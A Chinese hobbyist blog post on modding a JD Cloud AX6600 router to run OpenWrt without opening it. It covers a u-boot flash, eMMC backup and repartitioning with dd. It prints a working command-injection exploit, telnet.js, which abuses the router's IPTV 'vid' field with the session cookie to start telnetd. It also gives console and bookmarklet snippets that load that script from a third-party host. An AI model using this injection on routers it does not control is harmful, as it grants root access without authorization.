释放小七猫的分享欲

京东云雅典娜 AX6600 免拆刷 uboot、2G 分区、OpenWRT 记录

tags: 软路由, OpenWRT
@ 15/04/2026

京东云雅典娜 AX6600 免拆刷 uboot、2G 分区、OpenWRT 记录

本文章整理了一些收集到的雅典娜免拆刷机的信息,仅整理便于资料查找,内容非原创。

可能的漏洞说明:CVE-2025-66848:京东云路由器曝严重漏洞 黑客可直接获取 root 权限

此次漏洞影响范围覆盖京东云多款搭载旧版固件的 NAS 路由器,具体型号及受影响固件版本如下:

AX1800(固件版本 v4.3.1.r4308 及更早版本) AX1800 Pro(固件版本 v4.5.1.r4533 及更早版本) AX3000(固件版本 v4.3.1.r4318 及更早版本) AX6600(固件版本 v4.5.1.r4533 及更早版本) BE6500(固件版本 v4.4.1.r4308 及更早版本) ER1 / ER2(固件版本 v4.5.1.r4518 及更早版本)

上述型号路由器的用户需立即检查固件更新,及时封堵漏洞以规避潜在的入侵风险。

开启 telnet

【免拆刷机】亚瑟雅典娜 一键开启路由器 ssh 工具

OpenWrt Telnet 开启助手

方法一:浏览器控制台执行 (推荐)

  1. 登录路由器后台 (比如 JDC 路由器通常是 192.168.68.1)。
  2. 按下 F12 键,或右键点击页面选择“检查”,切换到 Console (控制台) 面板。
  3. 复制下方代码并粘贴:
var s = document.createElement("script");
s.src = "https://xos.vvvvvv.de5.net/openwrt/telnet.js?t=" + Date.now();
document.head.appendChild(s);

方法二:存为书签执行 (更方便)

  1. 复制下方代码:
javascript: alert("\u6b63\u5728\u52a0\u8f7d\u5de5\u5177\u7bb1...");
var s = document.createElement("script");
s.src = "https://xos.vvvvvv.de5.net/openwrt/telnet.js?t=" + Date.now();
document.head.appendChild(s);
  1. 在浏览器书签栏右键选择“添加网页”。
  2. 名称填入“JDC 工具箱”,网址粘贴刚才复制的 javascript: 代码。
  3. 以后在路由器后台页面,点一下这个书签即可弹出面板。

telnet.js 文件存档:

(function () {
    const d = document,
        l = (m) => (d.getElementById("jdc-log").innerHTML = m),
        s =
            d.cookie
                .split("; ")
                .find((r) => r.startsWith("sessionid="))
                ?.split("=")[1] || "";
    const st = d.createElement("style");
    st.innerHTML = `#jdc-container{position:fixed;top:15px;left:15px;z-index:10000;background:#fff;border:1px solid #dcdfe6;border-radius:10px;box-shadow:0 4px 25px rgba(0,0,0,0.2);width:280px;font-family:sans-serif;overflow:hidden;color:#303133;text-align:left}.jdc-head{background:#f5f7fa;padding:12px;border-bottom:1px solid #ebeef5;font-weight:bold;display:flex;justify-content:space-between;align-items:center}.jdc-body{padding:15px}.info-item{display:flex;justify-content:space-between;font-size:13px;margin-bottom:8px;align-items:center}.info-label{color:#909399}.info-val{color:#303133;font-family:monospace;cursor:pointer;padding:2px 4px;border-radius:4px}.blur-text{filter:blur(5px);background:#eee;user-select:none}.jdc-divider{height:1px;background:#ebeef5;margin:12px 0}.jdc-btn{width:100%;padding:10px;margin-bottom:8px;border:none;border-radius:6px;cursor:pointer;font-weight:bold;color:#fff}#btn-on{background:#67c23a}#btn-off{background:#f56c6c}#jdc-log{font-size:12px;background:#2b2b2b;color:#00ff00;padding:10px;border-radius:4px;margin-top:10px;min-height:40px;font-family:monospace;word-break:break-all;border-left:3px solid #67c23a}.jdc-footer{text-align:right;padding:8px 15px;font-size:14px;color:#606266;background:#fcfcfc;font-style:italic;border-top:1px solid #f0f0f0;font-weight:bold}`;
    d.head.appendChild(st);
    const c = d.createElement("div");
    c.id = "jdc-container";
    c.innerHTML = `<div class="jdc-head"><span>XOS路由器工具箱v1.0</span><span id="close-jdc" style="cursor:pointer">×</span></div><div class="jdc-body"><div id="router-info"><div class="info-item"><span class="info-label">状态:</span><span id="st-session" class="info-val">...</span></div><div class="info-item"><span class="info-label">型号:</span><span id="st-type" class="info-val">-</span></div><div class="info-item"><span class="info-label">版本:</span><span id="st-ver" class="info-val">-</span></div><div class="info-item"><span class="info-label">MAC:</span><span id="st-mac" class="info-val blur-text">...</span></div><div class="info-item"><span class="info-label">SN:</span><span id="st-sn" class="info-val blur-text">...</span></div></div><div class="jdc-divider"></div><button id="btn-on" class="jdc-btn">开启 Telnet</button><button id="btn-off" class="jdc-btn">关闭/还原</button><div id="jdc-log">等待...</div></div><div class="jdc-footer" style="text-align: left;color:#ff0033;">免费分享出来有的人拿去收费?<br>新版本V2暂不公开了</div><div class="jdc-footer">by:xos<br>aminsire@foxmail.com</div>`;
    d.body.appendChild(c);
    const t = (e) => e.target.classList.toggle("blur-text");
    d.getElementById("st-mac").onclick = t;
    d.getElementById("st-sn").onclick = t;
    d.getElementById("close-jdc").onclick = () => c.remove();
    async function a(cmd, tp) {
        if (!s) return alert("请登录");
        l("发送中...");
        try {
            await fetch("/jdcapi", {
                method: "POST",
                body: JSON.stringify({
                    jsonrpc: "2.0",
                    id: 1,
                    method: "call",
                    params: [
                        s,
                        "jdcapi.static",
                        "set_iptv_info",
                        {
                            enable: "1",
                            vlan_enable: "1",
                            priority: "0",
                            port: "1",
                            vid: `99; ${cmd}`,
                        },
                    ],
                }),
            });
            l(
                tp === "on"
                    ? "🚀 开启成功!<br>telnet 192.168.68.1"
                    : "✅ 已执行",
            );
        } catch (e) {
            l(
                tp === "on"
                    ? "🚀 指令已下发!<br>telnet 192.168.68.1"
                    : "✅ 指令已执行",
            );
        }
    }
    d.getElementById("btn-on").onclick = () =>
        a("factory_hm info telnet 1; telnetd -l /bin/login;", "on");
    d.getElementById("btn-off").onclick = () =>
        a("killall telnetd; factory_hm info telnet 0;", "off");
    (async function () {
        if (!s) {
            d.getElementById("st-session").innerHTML =
                '<span style="color:red">未登录</span>';
            return l("❌ 请先登录");
        }
        d.getElementById("st-session").innerHTML =
            '<span style="color:green">已登录</span>';
        try {
            const r = await fetch("/jdcapi", {
                method: "POST",
                body: JSON.stringify({
                    jsonrpc: "2.0",
                    id: 1,
                    method: "call",
                    params: [s, "jdcapi.static", "web_get_router_info", {}],
                }),
            });
            const g = await r.json();
            const i = g.result[1];
            d.getElementById("st-type").innerText = i.type;
            d.getElementById("st-ver").innerText = i.version;
            d.getElementById("st-mac").innerText = i.macaddr;
            d.getElementById("st-sn").innerText = i.sn;
            l("✅ åŠ è½½æˆåŠŸ");
        } catch (e) {
            l("⚠️ 获取失败");
        }
    })();
})();

KWRT、hfs.exe 和 uboot 下载

下载一个适用于原版分区的 KWRT 固件:

kwrt-smb-11.13.2024-qualcommax-ipq60xx-jdcloud_ax6600-squashfs.zip

hfs.exe 用于启动一个简易的 HTTP 文件服务器:

当然你也可以用 python 一类的方法自己启动一个,核心要点就是,需要通过 telnet 拉取固件和 uboot

uboot 来自沉心大佬–>github-chenxin527-ipq6000-emmc 新版 uboot:

chenxin527/uboot-ipq60xx-emmc-build

注意不要下错了机型:

  • 京东云太乙(RE-CS-07)
  • 京东云亚瑟(RE-SS-01)
  • 京东云雅典娜(RE-CS-02)
  • 连我 NN6000(V1 & V2)
  • 红米 AX5 JDCloud(RA50)

刷 uboot 与 备份

打开 hfs 并同意网络 将 uboot 文件拖入 hfs 服务端

然后路由 telnet 窗口执行拉取并刷 uboot 以及清除 BOOTCONFIG/1 电脑静态 192.168.68.11 路由后台 192.168.68.1 文件下载请往下-uboot 文件以及大分区下载

(还有拉不过去就检查端口 还有关闭 win 防火墙 win+R 运行 firewall.cpl 启用或关闭防火墙 专用网络和访客网络都关闭防火墙 拉取成功后可启用防火墙)

md5 要和下面的一模一样!!!不然停止执行并检查文件完整性!!!不然直接刷入可能会重启砖头!!!如果报错未找到文件 请检查文件是否有正确上传

wget -P /tmp http://192.168.68.11/emmc-uboot-ipq60xx-jdcloud_re-cs-02-260102.153309.bin
md5sum /tmp/emmc-uboot-ipq60xx-jdcloud_re-cs-02-260102.153309.bin
##0c74af00d882d462f43fe10bf9e0aaf4--确保md5值一样再刷入
dd if=/dev/zero of=/dev/mmcblk0p2
dd if=/dev/zero of=/dev/mmcblk0p3
dd if=/tmp/emmc-uboot-ipq60xx-jdcloud_re-cs-02-260102.153309.bin of=/dev/mmcblk0p13
dd if=/tmp/emmc-uboot-ipq60xx-jdcloud_re-cs-02-260102.153309.bin of=/dev/mmcblk0p14

备份 方法二选一即可

1—–ax6600 底层分区 以及原厂跑分认证信息备份磁盘镜像 备份到内置跑分分区:

指令在下 备份需要几分钟的样子 取决于 CPU 还有 mmc 的读写速度

保存到内置跑分配置分区:(确保有足够空间 备份出的文件 2.5g

原厂开启 smb 文件共享 注意:需要在备份指令执行之前完成本地网盘切换 否则切换后跑分分区里面的里面文件将被清除

或者在保留原来分区表刷 wrt 后 ssh/文件传输/smb 下载/mnt/mmcblk0p27/1.95g-ax6600.img

dd if=/dev/mmcblk0 bs=1M count=2000 of=/mnt/mmcblk0p27/1.95g-ax6600.img

2—–ax6600 底层分区 以及原厂跑分认证信息备份磁盘镜像 备份到 U 盘: 保存到 usb 硬盘/u 盘的设备分区:(确保有足够空间 备份出的文件 2.5g ‘/mnt/sda/‘替换为实际文件路径

dd if=/dev/mmcblk0 bs=1M count=2555 of=/mnt/sda/1.95g-ax6600.img

关于备份出来的磁盘镜像:可以用 winhex 或者 360 压缩打开

打开之后可以看到里面的分区 想提取分区直接导出即可

在未改动分区表的情况下 想回原厂直接 uboot 刷原厂固件就行 原厂固件下载–>原厂固件

恢复原厂跑分镜像–>

文件需要先上传至路由器或者传进 U 盘 挂载好 再恢复

下方 /tmp/1.95g-ax6600.img 需要改成现备份文件镜像路径

dd if=/tmp/1.95g-ax6600.img of=/dev/mmcblk0 bs=1M count=2000

在 uboot 中刷入前面的原分区 KWRT 固件,开机测试,理论上 uboot 和 固件都能够保留。

刷入 2G 分区

前提:已经刷好 uboot

亚瑟 ax1800pro/雅典娜 ax6600/太乙 ER1 京东云 进阶 gpt cdt

在文章中下载分区文件,亚瑟/雅典娜/太乙是通用的。

首先第一种 uboot 刷入(不知道怎么进 或者进不去的–>点这

进入 uboot 后访问 192.168.1.1/img.html

然后把你想要容量的分区表 拖进去或选择进去 然后 update

看到路由绿灯后重新亮灯 那就是刷入成功

然后 uboot 重刷一遍固件 (或者也可以进入原来的系统系统 - 备份/升级 - 最底下升级一下当前固件的 sysupgrade 的固件).

大分区就认出来了

第二种 SSH 刷入,不推荐,不介绍了。

固件下载地址

  1. 京东云亚瑟 (01)、雅典娜 (02)、太乙 (07)、AX5(JDC 版) 开源 NSS 满血固件

了解了下其他固件都不太行,QWRT 收费,没有特殊需求的话装这个就行了。